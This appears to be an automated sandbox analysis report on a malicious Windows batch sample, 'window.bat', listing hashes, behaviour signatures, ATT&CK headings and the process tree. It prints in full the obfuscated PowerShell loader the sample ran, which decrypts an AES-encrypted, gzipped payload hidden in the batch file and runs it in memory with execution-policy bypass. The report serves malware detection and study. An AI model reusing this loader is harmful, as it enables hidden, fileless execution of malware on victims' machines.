e2cac63bf32a0e4e80b2886b902d3fda4bb3de35dc9bec1c6eb954198c51e374

Analysis

max time kernel
45s
max time network
48s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
28/01/2023, 07:18

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General

Target
window.bat
Size 41KB
Sample230128-h4x77sed52
SHA256 e2cac63bf32a0e4e80b2886b902d3fda4bb3de35dc9bec1c6eb954198c51e374
MD5 891caf246a962d67b9094a0dbbaddac9
SHA1 f9ff85d21c1746889a95421667944efa3a7b51bc
SHA512 67e7c3e7c8722ebae8fe4c4749f9b7b9c4b939c7bac18816cc4a42b3ebdcb1cb55c7be826fb0885ad88b0c7681a4742edec1334bfc0605ccaa1a97f22977b3dc
SSDEEP 768:y03xlVCpwcZ4yft8xUFyKoNQWV9MtqLjz89KRI9FdFunvVdFMDCmAb:y6/V4wU4yIUUKZA2MLv8Ku9zo/LmC
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1380	window.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
988	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1380	window.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	window.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 988 wrote to memory of 1380	988	cmd.exe	28
PID 988 wrote to memory of 1380	988	cmd.exe	28
PID 988 wrote to memory of 1380	988	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\window.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:988
- C:\Users\Admin\AppData\Local\Temp\window.bat.exe
  "window.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $hfShb = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\window.bat').Split([Environment]::NewLine);foreach ($TIZnc in $hfShb) { if ($TIZnc.StartsWith(':: ')) { $OPowf = $TIZnc.Substring(3); break; }; };$kJJdx = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OPowf);$xypSr = New-Object System.Security.Cryptography.AesManaged;$xypSr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xypSr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cao+K/bvGpiu3YwMcce0n/wD4E4gfQmkj3F2tfn9rZk=');$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lAK9B8Af6zbgofnvIf4zYQ==');$wkMnt = $xypSr.CreateDecryptor();$kJJdx = $wkMnt.TransformFinalBlock($kJJdx, 0, $kJJdx.Length);$wkMnt.Dispose();$xypSr.Dispose();$XQlHS = New-Object System.IO.MemoryStream(, $kJJdx);$CoXOG = New-Object System.IO.MemoryStream;$AbQce = New-Object System.IO.Compression.GZipStream($XQlHS, [IO.Compression.CompressionMode]::Decompress);$AbQce.CopyTo($CoXOG);$AbQce.Dispose();$XQlHS.Dispose();$CoXOG.Dispose();$kJJdx = $CoXOG.ToArray();$MnaeK = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($kJJdx);$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1380

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

window.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\window.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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window.bat.exe

Path \Users\Admin\AppData\Local\Temp\window.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/1380-57-0x000007FEFBDE1000-0x000007FEFBDE3000-memory.dmp

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memory/1380-58-0x000007FEF4150000-0x000007FEF4B73000-memory.dmp

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memory/1380-60-0x0000000001F74000-0x0000000001F77000-memory.dmp

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memory/1380-59-0x000007FEF35F0000-0x000007FEF414D000-memory.dmp

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memory/1380-61-0x0000000001F74000-0x0000000001F77000-memory.dmp

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memory/1380-62-0x0000000001F7B000-0x0000000001F9A000-memory.dmp

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